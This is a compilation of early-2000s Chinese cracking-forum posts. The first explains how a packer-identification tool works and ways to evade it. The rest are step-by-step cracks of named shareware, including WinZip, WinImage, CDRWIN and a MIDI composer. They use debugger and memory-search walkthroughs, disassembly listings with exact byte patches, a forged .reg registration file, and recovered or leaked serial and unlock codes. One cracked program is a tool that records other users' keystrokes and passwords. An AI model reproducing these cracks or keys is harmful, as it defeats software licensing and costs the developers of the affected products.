发信人:娃娃[CCG]
时 间:2001-10-22 19:28:24
详细信息:
一般来说在不通过载入的情况下判断文件的类型只有两种
第一是 通过判断扩展名 这个谁都会 而且通过扩展名也不可能判断出是什么东西加壳 所以这一项基本排除
第二就是特征码判断 举个例子来说 比如一个软件使用UPX加壳 那么他的区段名称必然是UPX0 UPX1 UPX2………… 只要写一个软件读取EXE文件的区段名称就可以轻易的判断出是使用什么东西加壳 而且现在使用大多数加壳软件加壳后的文件都会有自己独有的区段名称 比如上面的UPX ASP（ASPACK加壳） PEC（PECompact） .yc（Yode） 等等 就不一一列举了
但是加壳的人都不是傻子 用这种方法加壳后的文件只要通过单一点修改区段头信息就可以预防被检测了 所以FI采用的也不是这种方法检测（有可能个别类型的壳出外）
因此得出的结论就是它要通过加壳后程序固有的一段特征代码来验证 这段特征代码一定是不会改变的 不信你试试用UPX加壳后 无论你将它的区段改成什么都无法逃过FI的眼睛…………
或者你用字符串替换器查找脱壳后的FI 你就会发现有很多看不懂得ASCII字符 这些大多是加壳程序的特征代码 你在使用这种加壳程序加壳后都会在程序中找到这段特征代码 ^_^

至于逃过检测的方法………… 据我知道有三种
一种是通过SMC技术 让加壳后的程序改变 这是一个有效的方法 因为FI所检测的特征码大多是在壳的第一个入口之前 所以SMC可以改变程序的代码 即躲过FI的检测 如果你使用过冰天雪地以前制作过的SMC破解的ASPACK2.0的话 你就会体会到了 它加壳后的程序即无法使用UnASPACK脱壳 也无法是FI检测！！ 不过会SMC技术的Cracker很少 而且浪费时间 所以不推荐使用
第二种是通过TOPO这个软件 在加壳后使用它创建一个新的区段 这样对某些测试工具有效 比如language ………… 在FI下也对有些壳有效！而且这种方法还可以导致在使用W32dasm反汇编的时候产生非法操作！
第二种方法呢就简单了 呵呵 就是～～～～～～～ 打死FI的作者 呵呵 就没有升级了 哈哈


超级个人软件V2.3

 标 题:30秒破解 超级个人软件V2.3--简单介绍 Regmon 工具使用方法 (2千字)
发信人:飞鹰[BCG]
时 间:2002-1-30 19:01:03
详细信息:
30秒破解 超级个人软件V2.3--简单介绍 Regmon 工具使用方法

软件名称：超级个人软件 V2.3
软件简介：本软件是为了方便自已管理一些资料而制作的，后来想放到网上供大家使用，也方便大家管理一些零碎的东西吧。
未注册版限制：软件只能使用到 2002年2月14日
下载地址：http://www.shareware.net.cn/download.asp?id={B03E7D69-5FB7-43D1-8A45-6B11E843668C}
破解工具：Regmon
破解人：飞鹰[BCG]
E-mail：flithawk@263.net
网址：http://flithawk.longcity.net

用 Regmon 跟踪软件启动及注册发现，如下的地方：

一、软件启动时：

8.55695040 Super OpenKey HKCU\Software\Microsoft\Windows\CurrentVersion\System\per SUCCESS hKey: 0xC29ABFD0

8.55698240 Super QueryValueEx HKCU\Software\Microsoft\Windows\CurrentVersion\System\per\Modem NOTFOUND
^^^^^ ^^^^^^^^
大家注意到了吗？上面 Regmon 跟踪后告诉我们说：Modem 这个键值没有找到！

二、调用软件注册对话框：

12.25274720 Super OpenKey HKCU\Software\Microsoft\Windows\CurrentVersion\System\per SUCCESS hKey: 0xC29ABFD0

12.25277600 Super QueryValueEx HKCU\Software\Microsoft\Windows\CurrentVersion\System\per\Modem NOTFOUND
^^^^^ ^^^^^^^^
大家注意到了吗？上面 Regmon 跟踪后也告诉我们说：Modem 这个键值没有找到！

这时，我就猜想 Modem 这个键值会不会就是判断软件是否已注册的标志呢？我在注册表的 OpenKey HKCU\Software\Microsoft\Windows\CurrentVersion\System\per 项目中添加了一个 Modem 键值，再启动软件后看一看软件注册对话框中已经显示“感谢您对共享软件的支持！”的字样。之后我又把系统的时间往后调了一年，即2003年1月30日，再启动软件测试，软件完全可以使用。

下面让我们来写一个该软件的注册文件如何？很简单地：

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\System\per]
"Modem"="飞鹰[BCG]"

在 Windows 记事本 中输入完上面的语句后，保存为后缀是 .reg 的文件，这样注册文件就制作好了。

至此，该软件的破解完成！这几天我都在研究破解 Language Localizator 5.04.02.048，一个功能强大的汉化 DEPHI 软件的工具，但始终没有完全破掉它的功能限制，哪位大哥能帮助看一看，该软件的下载地址是：http://www.localizator.com/download/localizator/loc5pkg.exe。我这几天被它折腾的真是够惨的，如果它有 超级个人软件V2.3 这么温柔就好了！

Crack by 飞鹰[BCG] flithawk@263.net 2002.1.30
欢迎光临汉化新世纪: http://www.hanzify.org


用VC和自制工具VCDEBUG助手进行跟踪破解

 标 题:用VC和自制工具VCDEBUG助手进行跟踪破解[转载] (3千字)
时 间:2001-11-10 16:02:41
详细信息:
用VC和自制工具VCDEBUG助手进行跟踪破解

【声明】

一．本文实用于初学者，需要具备一定的汇编和系统底层的知识。
二．本文只是为了让广大网友共同提高一些基础知识，本人决无卖弄之意，只供需要这方面知识的读者阅读，如果你是高手，或者不需要这方面知识，请跳过。
三．本文的实例均为普通程序，如有雷同，敬请谅解。
四．本文欢迎传抄转载，但是不要用于任何商业用途。

【前言】

以前干破解，盯着S-ICE的黑窗口，打着一些只有它才能轻松驾驶的调试指令，实在是累。后来系统

换成2000了，S-ICE很难装；好不容易装上去了，LOAD后键盘又死了；把键盘整的不死了；又发现系

统性能因此下降了很多，2000也失去了它本身的稳定性。于是发誓象国内某些人一样自己搞个专用

的调试器TRW2001什么的，可是谈何容易，不是不可以做，只是那样容易浪费生命。再说很多东西别

人已经给我们做的差不多了，比如VC。进入正题……

【正文】

VC有很多S-ICE没法比的优点，但也有一些功能上的缺点。调试界面非常舒服，和系统是一家人做的

，很合得来，但它为开发而做的，并非用来破解的，所谓正道，所以功能远非S-ICE强大。但是

S-ICE中CRACKER常用的也就是那么几个，下面介绍一下VC给我们提供的可利用的调试功能：

1. 汇编窗口界面，单步运行，指令断点，RUN TO CURSOR，数据写断点。
2. 读写寄存器，内存，堆栈，更改下一步运行的位置，也就是改EIP（不知道的点以下右键去找菜

单）； 其他的自己摸索吧！

这些一般的功能VC很得心应手。但是CRACK时马上就发现一些致命的遗憾：
遗憾一：虽然可以查看被调试程序内存，但没法搜索，所以CRACKER们常用的 S 10:0 Lfffffff

'78787878' 无效；
遗憾二：虽然有存储器改变（即写）断点，但没法设读断点，所以CRACKER们常用的BPM 0x12345678

无效；
遗憾三：虽然可以设简单的API断点，但功能如同一般的指令断点，而且对于无调试信息exe文件时

可能无效，因为有时对应的DLL没有装。

针对这些遗憾我特地做了一个小的伙伴来为VC解决上面的三个问题，
1。添加了搜索功能，内容文本框内可为0x开头表示是十六进制，否则为文本。搜的时候速度没有

S-ICE中快，基本可以满足；
2。运行完VCDEBUG后，VC所设的所有的数据写断点全部变成读写断点。并且有弹出对话框提示让你

辨别。搞定遗憾二；
3。API条件断点比S-ICE中的更好用。比如我如果设API断点GetWindowTextA(要加A或W), 我可以附

加条件：当第2个参数的内容='78787878'时中断，这时在运行完GetWindowTextA函数后（注意我里

在运行完中断，这样所有的参数值都出来了），如果窗口的名字=“78787878”时那就断吧！同时我

会把参数的地址和内容在VC的DEBUG窗口输出。

加了这些功能应该够用了吧。
小试一下牛刀吧，拿比较容易的WINZIP8.0开刀，难的跟起来太累。
1。在VC中打开WINZIP的EXE文件，然后在VC的TOOLS菜单中运行此调试助手（注意，在外面运行没用

）；
2。RUN - 注册 - 输入你的大名，我输了wzg，注册码随你输，如果认为78787878不雅观，可以用

74747474；
3。在VCDEBUG助手设条件API断点 GetWindowTextA; 条件为 第二个参数=“74747474”；
4。这时去按注册按钮吧；
5。断了吧，看看VC的DEBUG输出窗口有些什么东西，是[0xXXXXXXXX]'74747474',这个地址很有用哦

，不太相信的话，在VC的内存查看窗口看看这个地址中的内容吧；
6。可以关掉API断点了，然后用上面的得到的地址在VC中设存储器读写断点，接下来，按RUN[F5]，

大概断过6，7下后，你就会发现标准的注册码比较汇编语句：（大概是这样的，具体的记不清了）
mov al, byte ptr[0xXXXXXXX]
mov cl, byte ptr[0xYYYYYYY]
cmp al, cl
jnz XXXX
自己看一下，记下注册码吧.

【后记】

也许有的朋友认为破解一个软件很容易，但是作为一个Cracker（或者是Hack）追求绝对技术，追求完全共享才应是我们最终的目标。

2001.11.5
fnlq[BCG&&CNCG]


winimage

 标 题:破解winimage (1千字)
发信人:守护者
时 间:2001-10-7 23:30:31
详细信息:
破解者：守护者
下载地址：http://software.wx88.net/down/winima60.exe
软件简介：
    Winamage如同Ghost是一套可将文件或是文件夹制成Image文件的程序，然后完整复制至另一硬盘的工具，它与Ghost不同的是，它可直接将镜象文件分割成数快存储至A磁盘中，另外程序提供制作与还原程序、使用起来相当的方便。

开始，先安装后，运行，显示unregistered 的字样，点options下的registering.输入name:shouhuzhe
registration code:12121212点OK
显示错误框，winImage Registration
registering information is invalid
好，我们再来一次，
输入name:shouhuzhe
registration code:12121212点OK
错误框又出来了，先不要急于点确定，打开winhex按Alt+F9
双击winimage下的Primary Memory
按Ctrl+F
输入我们所输入的注册码12121212点OK
找到了我们所要的地址：006BECF8
好了，这对我们来说很重要
用眼睛搜索一下屏幕，你还看到了什么？？
对了，在006BEBF8的位置有我们所要找的东西，那的一串不正是我们要找的吗？什么？？？你看不到，*—…#…*—%……—￥……*%—……我倒！
好了，敢快记下来吧！
重新输入name：shouhuzhe
registration code:3F164D4
点OK！
Your registration code is valid.Youare now a registered user.Thank you for registering!
什么意思呀？？我可看不懂！^_^,反正我的unregistered字样是没有了！^_^
至此算是破解成功！！


彩神悠悠1.0

 标 题:彩神悠悠1.0---用winHEX破解VB程序之例三 (1千字)
发信人:8989
时 间:2001-9-17 11:36:07
详细信息:
彩神悠悠1.0---用winHEX破解VB程序之例三

下载 共享软件注册中心

VB编的程序，追踪起来很烦。
可以用SmartCheck破解，发现注册码格式是xxxx-xxxx-xxxx-xxxx
下面我们用winhex破解

1、运行彩神悠悠主程序，注册
填入姓名：guodong
注册码：1234-1234-1234-1234
点击现在注册，弹出出错信息窗口，先不要关闭它!
2、运行WinHex，点击RAM Editor或按Alt+F9，选彩神悠悠中的Primary Memory，然后点击hex search搜索十六进制字符串，填入3100320033003400
（解释：1的ASCII码是31,2的ASCII码是32,3的ASCII码是33,4的ASCII码是34，VB下都是双字节)
点击确定，搜索结果如下

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

0044EDE0 64 00 00 A0 3C 00 00 00 43 00 3A 00 5C 00 57 00 d..?...C.:.\.W.
0044EDF0 49 00 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 I.N.D.O.W.S.\.S.
0044EE00 59 00 53 00 54 00 45 00 4D 00 5C 00 43 00 4F 00 Y.S.T.E.M.\.C.O.
0044EE10 4D 00 43 00 54 00 32 00 33 00 32 00 2E 00 4F 00 M.C.T.2.3.2...O.
0044EE20 43 00 58 00 00 00 00 00 D8 F3 66 00 00 00 00 00 C.X.....伢f.....
0044EE30 02 00 01 00 00 00 44 00 3C 00 44 00 20 00 00 00 ......D.<.D. ...
0044EE40 20 00 00 00 34 00 00 A0 26 00 00 00 31 00 32 00 ...4..?...1.2.
0044EE50 33 00 34 00 2D 00 31 00 32 00 33 00 34 00 2D 00 3.4.-.1.2.3.4.-.
0044EE60 31 00 32 00 33 00 34 00 2D 00 31 00 32 00 33 00 1.2.3.4.-.1.2.3.
0044EE70 34 00 00 00 A0 60 00 00 44 00 00 A0 26 00 00 00 4...燻..D..?...
0044EE80 34 00 32 00 30 00 44 00 2D 00 30 00 33 00 34 00 4.2.0.D.-.0.3.4.
0044EE90 30 00 2D 00 37 00 39 00 34 00 30 00 2D 00 32 00 0.-.7.9.4.0.-.2.
0044EEA0 33 00 34 00 44 00 00 00 A0 60 5C 00 00 00 FF 00 3.4.D...燻\...�.
0044EEB0 F6 BA 7F 00 00 00 00 00 56 22 20 00 24 00 00 A0 龊.....V" .$..

420D-0340-7940-234D就是真正的注册码
注册码除根据姓名算出外，还与机器有关
注册信息保存于cpreg.dat中
[reginfo]
注册名=guodong
注册码=420D-0340-7940-234D?
2001。9


开机小精灵 2.11

 标 题:破解 开机小精灵 2.11 (7千字)
发信人:炎之川
时 间:2001-11-12 23:07:41
详细信息:
破解 开机小精灵 2.11

软件名称：开机小精灵
整理日期：2001.11.10
最新版本：2.11
文件大小：897KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
发布公司：http://vcghost.yeah.net/
软件简介：
    开机小精灵是一个系统监控软件。主要用于监控你的开机情况，并作出一定的分析，可以作为你判断系统稳定的一个参考。对你不在情况下，别人对你机器的使用情况做下记录甚至可以得到别人在你机器上的一切输入信息，包括密码和个人资料。加强你对自己机器的监控和控制，真正成为自己机器的主人。末注册版可以用于记录开机状态分析和数据统计的功能。但不能使用键盘监控的高级功能。注册后将可以使用本软件的所有功能，所有的警告窗口将消失。并也免费享有以后升级版本一切功能的使用权力。

原版软件下载: http://newhua.ruyi.com/down/RebootEidolon.zip （华军，897k）

未注册版本限制: 功能限制(有提示)，启动弹出提示窗口

破解工具：w32dasm 黄金版中文版、File Info 2.45、UltraEdit、WinHex

不好意思，在下水平仍然很低很低，暂时还只能爆破，不过这个软件的注册码好像很好找的说...^_^

破解过程:

1. 暴力破解

先运行软件，随便输入注册码注册，得到错误提示“请不要投机取巧，如果你真的对本软件的高级功能感兴趣，请马上注册”，OK～用 Fileinfo 看看，没有加壳，w32dasm 反汇编，看“串式参考”，来到此提示所在区域：

* Reference To: MSVCRT._mbscmp, Ord:0159h
|
:00419081 FF157CE74100 Call dword ptr [0041E77C]
:00419087 83C408 add esp, 00000008
:0041908A 85C0 test eax, eax < ==== 比较...
:0041908C 0F8591000000 jne 00419123 < ==== 跳则注册码错误，改为 je 00419123 或干脆 nop 掉
:00419092 33F6 xor esi, esi
:00419094 89742410 mov dword ptr [esp+10], esi
:00419098 8D442414 lea eax, dword ptr [esp+14]
:0041909C 8D4C240C lea ecx, dword ptr [esp+0C]
:004190A0 50 push eax
:004190A1 51 push ecx
:004190A2 56 push esi
:004190A3 683F000F00 push 000F003F
:004190A8 56 push esi
:004190A9 56 push esi
:004190AA 56 push esi

* Possible StringData Ref from Data Obj ->"software\microsoft\opennow" <====很可疑的主键啊！！等等我们看
看这个地方有什么玄机^_^
|
:004190AB 68FC604200 push 004260FC
:004190B0 6802000080 push 80000002
:004190B5 C644244401 mov [esp+44], 01
:004190BA 89742430 mov dword ptr [esp+30], esi

* Reference To: ADVAPI32.RegCreateKeyExA, Ord:015Fh
|
:004190BE FF1508E04100 Call dword ptr [0041E008]
:004190C4 85C0 test eax, eax
:004190C6 753B jne 00419103
:004190C8 8B442408 mov eax, dword ptr [esp+08]
:004190CC 8B74240C mov esi, dword ptr [esp+0C]
:004190D0 53 push ebx
:004190D1 50 push eax
:004190D2 89742418 mov dword ptr [esp+18], esi
:004190D6 8BD8 mov ebx, eax

* Reference To: KERNEL32.lstrlenA, Ord:0308h
|
:004190D8 FF157CE14100 Call dword ptr [0041E17C]
:004190DE 40 inc eax
:004190DF 50 push eax
:004190E0 53 push ebx
:004190E1 6A01 push 00000001
:004190E3 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"OpenNow"
|
:004190E5 68506B4200 push 00426B50
:004190EA 56 push esi

* Reference To: ADVAPI32.RegSetValueExA, Ord:0186h
|
:004190EB FF150CE04100 Call dword ptr [0041E00C]
:004190F1 85F6 test esi, esi
:004190F3 5B pop ebx
:004190F4 740D je 00419103
:004190F6 56 push esi

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
|
:004190F7 FF1500E04100 Call dword ptr [0041E000]
:004190FD 33F6 xor esi, esi
:004190FF 89742410 mov dword ptr [esp+10], esi

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004190C6(C), :004190F4(C)
|
:00419103 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"注册成功" <==== 注册成功信息
|
:00419105 68506E4200 push 00426E50

* Possible StringData Ref from Data Obj ->"你已经注册成功,请重新启动软件开启高级功能"
|
:0041910A 68246E4200 push 00426E24
:0041910F 8BCF mov ecx, edi

* Reference To: MFC42.Ordinal:1080, Ord:1080h
|
:00419111 E82C130000 Call 0041A442
:00419116 85F6 test esi, esi
:00419118 741C je 00419136
:0041911A 56 push esi

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
|
:0041911B FF1500E04100 Call dword ptr [0041E000]
:00419121 EB13 jmp 00419136

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041908C(C) < ==== 从这里慢慢往上看是哪里出错的
|
:00419123 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"注册失败"
|
:00419125 68186E4200 push 00426E18

* Possible StringData Ref from Data Obj ->"请不要投机取巧，如果你真的对本软件的高级功能感"
->"兴趣，请马上注册" <==== 在这里错误，往上找是哪里跳过来的
|
:0041912A 68D86D4200 push 00426DD8
:0041912F 8BCF mov ecx, edi

至此，运行软件，输入任意注册码注册即可成功，关闭程序，再打开，也没有弹出提示注册的窗口了，原来不能使用的高级选项也ok了...(不会吧？这么简单？？？我都不太敢相信了啊~~~)。如果怕不保险的话，可以顺手把未注册用户不能使用的提示信息 nop 掉，有好几个地方。(最近发现，9090 真的很好用~~)

刚才在上面的过程中看到了一个很可疑的主键“software\microsoft\opennow”，我们不妨看看，到底里面是什么东东~~
用 Regmon 监视了一下软件启动到关闭的注册表访问,得到这么一句:
16.25505329 OpenNow.exe:1068 QueryValue HKLM\software\microsoft\opennow\OpenNow SUCCESS "303735363036303436353231"
哇！这个 "303735363036303436353231" 非常的可疑啊~~

把这个主键删除，然后启动软件，又变成未注册版本了，用上面得到的数字注册，居然成功了！！我@#$%^&...这个软件在我爆破后，随便输入注册码注册，居然会自动将正确的注册码写入注册表？？不是吧？？我咧……居然有这种软件……

2. Winhex 找出注册码

这个不需要多说吧，很简单的说~~

启动开机小精灵，随便输入注册码，Name：炎之川，S/N:1234567890 ，并点击"注册",出现注册码错误提示时不要点确定，启动 WinHex ->工具 -> Ram编辑器，选择“OpenNow.exe”-> 主要内存 -> 搜索 1234567890，在搜索到的第二处往上看一些，就是正确的注册码：“303735363036303436353231”。

总结一下，我的注册码: Name：炎之川，S/N:303735363036303436353231,OK~~收工~~

话说回来，感觉似乎太简单了一些，不知道里面还有没有什么陷阱！哪位大哥感兴趣，不妨帮我看看有没有什么问题！我在我的 Windows 2000 及 Windows ME OS下，测试有效，确实可用，所有的功能均无问题。

另，我的水平很低很低，所以写的破文也很一般(不要问我算法，不要问我动态调试……暂时我还没学会~~嘿嘿~~)，如果有人还想看这类的文章(我个人以为还是很适合什么都不会的初学者看的^_^)，我就继续多写几篇！

炎之川 于 2001.11.12
mali: skipli@sina.com


cdrwin 4.0

 标 题:cdrwin注册号+注册号过期爆破 (7千字)
发信人:火翼[CCG]
时 间:2002-2-27 10:09:28
详细信息:
软件： cdrwin 4.0
破解者: 火翼[CCG]
组织 : [CCG] (China Cracking Group)
使用软件: w32dasm+trw2000

在白菜乐园下载了cdrwin 4.0
Name: CoKeBoTtLe99
Company/Email: Cokebottle@thefactory.com
Unlock Code: 60D015F4-600893EB-BEFF5755-53E4E943
Check Code: 3334FCB7-00D8861F-DEF7C4BE-ED1BBE16
注册时竟然提示注册号过期，没办法只好把过期检测K掉

用FI一看，源程序竟然没有加壳
用w32dasm反汇编，字符串，看到
String Resource ID=00180: "Welcome to CDRWIN...
This software is now unlocked and fully"
来到

* Possible Reference to String Resource ID=00180: "Welcome to CDRWIN...
This software is now unlocked and fully"
|
:0041DF45 68B4000000 push 000000B4
:0041DF4A E8D5270500 call 00470724
:0041DF4F 8BCE mov ecx, esi
:0041DF51 E81AC90400 call 0046A870
:0041DF56 E81A090500 call 0046E875
:0041DF5B 85C0 test eax, eax
:0041DF5D 7409 je 0041DF68
:0041DF5F 8B10 mov edx, dword ptr [eax]
:0041DF61 8BC8 mov ecx, eax
:0041DF63 FF5274 call [edx+74]
:0041DF66 EB02 jmp 0041DF6A

向上看

* Possible StringData Ref from Data Obj ->"%lx-%lx-%lx-%lx" 比较可疑
|
:0041DEE6 68F4514A00 push 004A51F4
:0041DEEB 52 push edx
:0041DEEC E8AC9C0300 call 00457B9D //校验unlock code格式
:0041DEF1 83C418 add esp, 00000018
:0041DEF4 83F804 cmp eax, 00000004
:0041DEF7 0F8597000000 jne 0041DF94
:0041DEFD 8D45CC lea eax, dword ptr [ebp-34]
:0041DF00 8D4DD0 lea ecx, dword ptr [ebp-30]
:0041DF03 50 push eax
:0041DF04 8D55D4 lea edx, dword ptr [ebp-2C]
:0041DF07 51 push ecx
:0041DF08 8B4DEC mov ecx, dword ptr [ebp-14]
:0041DF0B 8D45D8 lea eax, dword ptr [ebp-28]
:0041DF0E 52 push edx
:0041DF0F 50 push eax

* Possible StringData Ref from Data Obj ->"%lx-%lx-%lx-%lx"
|
:0041DF10 68F4514A00 push 004A51F4
:0041DF15 51 push ecx
:0041DF16 E8829C0300 call 00457B9D //校验check code 格式
:0041DF1B 83C418 add esp, 00000018
:0041DF1E 83F804 cmp eax, 00000004
:0041DF21 7571 jne 0041DF94
:0041DF23 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0041DF26 8845FC mov byte ptr [ebp-04], al
:0041DF29 8D55CC lea edx, dword ptr [ebp-34]
:0041DF2C 8D45BC lea eax, dword ptr [ebp-44]
:0041DF2F 52 push edx
:0041DF30 8B55E0 mov edx, dword ptr [ebp-20]
:0041DF33 50 push eax
:0041DF34 51 push ecx
:0041DF35 52 push edx
:0041DF36 E855690000 call 00424890 //关键比较
:0041DF3B 83C410 add esp, 00000010
:0041DF3E 895DFC mov dword ptr [ebp-04], ebx

* Possible Reference to String Resource ID=00255: "Invalid disc count specified."
|
:0041DF41 6AFF push FFFFFFFF
:0041DF43 6A40 push 00000040

用trw2000 load
在00416F36处跟进去

一直按F10直到
:00424936 83C30F add ebx, 0000000F
:00424939 81FBC5040000 cmp ebx, 000004C5
:0042493F 7D13 jge 00424954
:00424941 6A00 push 00000000
:00424943 6A00 push 00000000
:00424945 6A00 push 00000000
:00424947 6835FFFFFF push FFFFFF35
:0042494C E85F340000 call 00427DB0 //按F10就弹出过期提示

把 0042493f 改为eb13
再点注册 显示注册成功
但再启动时 又提示注册号过期
再用trw2000 load 在00427db0处设断
发现又断了下来
于是重新载入，从入口点一直按f10直到
:00458074 FF1598B24700 Call dword ptr [0047B298]
:0045807A 50 push eax
:0045807B E867FA0000 call 00467AE7 //按F10就弹出过期提示
跟进去
* Referenced by a CALL at Address:
|:0045807B
|
:00467AE7 FF742410 push [esp+10]
:00467AEB FF742410 push [esp+10]
:00467AEF FF742410 push [esp+10]
:00467AF3 FF742410 push [esp+10]
:00467AF7 E8517F0000 call 0046FA4D //**************//
:00467AFC C21000 ret 0010
继续跟进 call 0046fa4d
* Referenced by a CALL at Address:
|:00467AF7
|
:0046FA4D 53 push ebx
:0046FA4E 56 push esi
:0046FA4F 57 push edi
:0046FA50 83CBFF or ebx, FFFFFFFF
:0046FA53 E81DEEFFFF call 0046E875
:0046FA58 8BF0 mov esi, eax
:0046FA5A E8753C0000 call 004736D4
:0046FA5F FF74241C push [esp+1C]
:0046FA63 8B7804 mov edi, dword ptr [eax+04]
:0046FA66 FF74241C push [esp+1C]
:0046FA6A FF74241C push [esp+1C]
:0046FA6E FF74241C push [esp+1C]
:0046FA72 E851540000 call 00474EC8
:0046FA77 85C0 test eax, eax
:0046FA79 743B je 0046FAB6
:0046FA7B 85FF test edi, edi
:0046FA7D 740E je 0046FA8D
:0046FA7F 8B07 mov eax, dword ptr [edi]
:0046FA81 8BCF mov ecx, edi
:0046FA83 FF9084000000 call dword ptr [eax+00000084]
:0046FA89 85C0 test eax, eax
:0046FA8B 7429 je 0046FAB6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046FA7D(C)
|
:0046FA8D 8B06 mov eax, dword ptr [esi]
:0046FA8F 8BCE mov ecx, esi
:0046FA91 FF5050 call [eax+50] //按f10弹出过期提示
:0046FA94 85C0 test eax, eax
:0046FA96 7515 jne 0046FAAD
:0046FA98 8B4E1C mov ecx, dword ptr [esi+1C]
:0046FA9B 85C9 test ecx, ecx
:0046FA9D 7405 je 0046FAA4
:0046FA9F 8B01 mov eax, dword ptr [ecx]
:0046FAA1 FF5058 call [eax+58]

跟进去
直到
:00424847 6A00 push 00000000
:00424849 6A00 push 00000000
:0042484B 6834FFFFFF push FFFFFF34
:00424850 E85B350000 call 00427DB0
:00424855 83C410 add esp, 00000010

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00424843(C)
|
:00424858 83C60F add esi, 0000000F
:0042485B 81FEC5040000 cmp esi, 000004C5
:00424861 5E pop esi
:00424862 7D13 jge 00424877
:00424864 6A00 push 00000000
:00424866 6A00 push 00000000
:00424868 6A00 push 00000000
:0042486A 6835FFFFFF push FFFFFF35
:0042486F E83C350000 call 00427DB0 //关键call
:00424874 83C410 add esp, 00000010
是不是有点眼熟，对，就是和前面一样的判断代码，
改00424862处7d13为eb13
ctrl+N程序正常运行
整理

用16进制编辑器查找 fd 13 6a 00 6a 00 6a 00
改为 eb 13 -- -- -- -- -- --

注册号:
Name: CoKeBoTtLe99
Company/Email: Cokebottle@thefactory.com
Unlock Code: 60D015F4-600893EB-BEFF5755-53E4E943
Check Code: 3334FCB7-00D8861F-DEF7C4BE-ED1BBE16


COMPOSER 2.0

 标 题:MIDI软件COMPOSER2.0暴破
发信人:chummer
时 间:2002/01/14 10:05pm
详细信息:

这个软件是MID修改和编辑用的,不注册不能存盘,所以要破.用TRW2000,W32DSM,HIEW三种兵器.
点注册,在两个空行里填入自己的信箱和一组自编的密码,运行TRW2000,下断,最普通的HMEMCPY就可以了,GO之后,回到程序界面,点注册,被断,直接用BC *,PMODULE,再次来到程序领空,一下子就到了,不用按F12,按一下就出错了.程序代码如下:

:0040435B 6804010000 push 00000104
按F10走.
:00404360 68C1EB4100 push 0041EBC1

* Possible Reference to Dialog: DialogID_03E7, CONTROL_ID:03FC, ""
|
:00404365 68FC030000 push 000003FC
:0040436A 53 push ebx

* Reference To: USER32.GetDlgItemTextA, Ord:0000h
|
:0040436B E8CA980100 Call 0041DC3A
来到下面这个CALL.
:00404370 E8DBF6FFFF call 00403A50
注意这个CALL,下面有比较,有跳转,说明有问题.按F8进入:
* Possible StringData Ref from Data Obj ->"镱溧痤?
|
:00403A55 B8CBF64100 mov eax, 0041F6CB
:00403A5A BAC1EB4100 mov edx, 0041EBC1
这里下D 0041EBC1可以看到自己刚才输入的注册码,那么上面的0041F6CB里的乱七八糟的东西就可能是真正的注册码了.但是我看不出来是什么.还请高手指点.往下走是比比跳跳.

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403A79(C)
|
:00403A5F 8A08 mov cl, byte ptr [eax]
:00403A61 3A0A cmp cl, byte ptr [edx]
:00403A63 7516 jne 00403A7B
程序在这里显示要跳,因为上面的比较肯定不相等.当然如果不跳就会注册成功的.所以在这里就可以下手了.不过改这里的话下面的JE也得改,不如让它走下去,直接跳到00403A7B处再改.
{:00403A65 84C9 test cl, cl
:00403A67 743C je 00403AA5 (注意)
:00403A69 8A4801 mov cl, byte ptr [eax+01]
:00403A6C 3A4A01 cmp cl, byte ptr [edx+01]
:00403A6F 750A jne 00403A7B
:00403A71 83C002 add eax, 00000002
:00403A74 83C202 add edx, 00000002
:00403A77 84C9 test cl, cl
:00403A79 75E4 jne 00403A5F}
以上是跳过的代码.下面来到了真正要改的地方:
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00403A63(C), :00403A6F(C)

:00403A7B 7428 jne 00403AA5 (和上面的跳一样,只有在这里跳才能成功)
* Possible StringData Ref from Data Obj ->"镱溧痤?
|
:00403A7D B8D3F64100 mov eax, 0041F6D3
:00403A82 BABCEA4100 mov edx, 0041EABC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403AA1(C)
|
:00403A87 8A08 mov cl, byte ptr [eax]
:00403A89 3A0A cmp cl, byte ptr [edx]
:00403A8B 7524 jne 00403AB1
:00403A8D 84C9 test cl, cl
:00403A8F 7412 je 00403AA3
:00403A91 8A4801 mov cl, byte ptr [eax+01]
:00403A94 3A4A01 cmp cl, byte ptr [edx+01]
:00403A97 7518 jne 00403AB1
:00403A99 83C002 add eax, 00000002
:00403A9C 83C202 add edx, 00000002
:00403A9F 84C9 test cl, cl
:00403AA1 75E4 jne 00403A87

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403A8F(C)
|
:00403AA3 750C jne 00403AB1
以上就是反复比比跳跳,总之不让你跳到正地方.那么究竟为什么非要跳到0403AA5这个地方呢?现在我们来看看这个地方有什么.

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
:00403A67(C), :00403A7B(C)
* Possible Reference to String Resource ID=00001: "AKoff Music Composer - Version 2.0"
|
:00403AA5 C705C8EC410001000000 mov dword ptr [0041ECC8], 00000001
上面的代码现在把一个00000001放到了[0041ECC8]里.然后程序开始回去.
:00403AAF EB72 jmp 00403B23
.
.
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00403AAF(U), :00403AE9(U), :00403B1A(U)
|
:00403B23 83C414 add esp, 00000014
:00403B26 5F pop edi
:00403B27 5E pop esi
:00403B28 C3 ret
回去了,回到呼叫子程序的地方.
:00404370 E8DBF6FFFF call 00403A50 (刚才就是从这个CALL里出来的.)
:00404375 833DC8EC410000 cmp dword ptr [0041ECC8], 00000000
现在我们再来注意这上面的一行,刚才在子程序里,经过运算比较后,得到了一个[0041ECC8],现在又来比较这个[0041ECC8],刚才这个地址里是00000001,现在要拿00000000来和它比,然后下面一行说得很清楚,如果等于就跳走,走到哪儿呢?走到004043CE.
:0040437C 7450 je 004043CE
这个004043CE是个什么东西呢?经过反汇编我们会看到,那是一个ERROR,紧接着就是那个出错对话框里的话
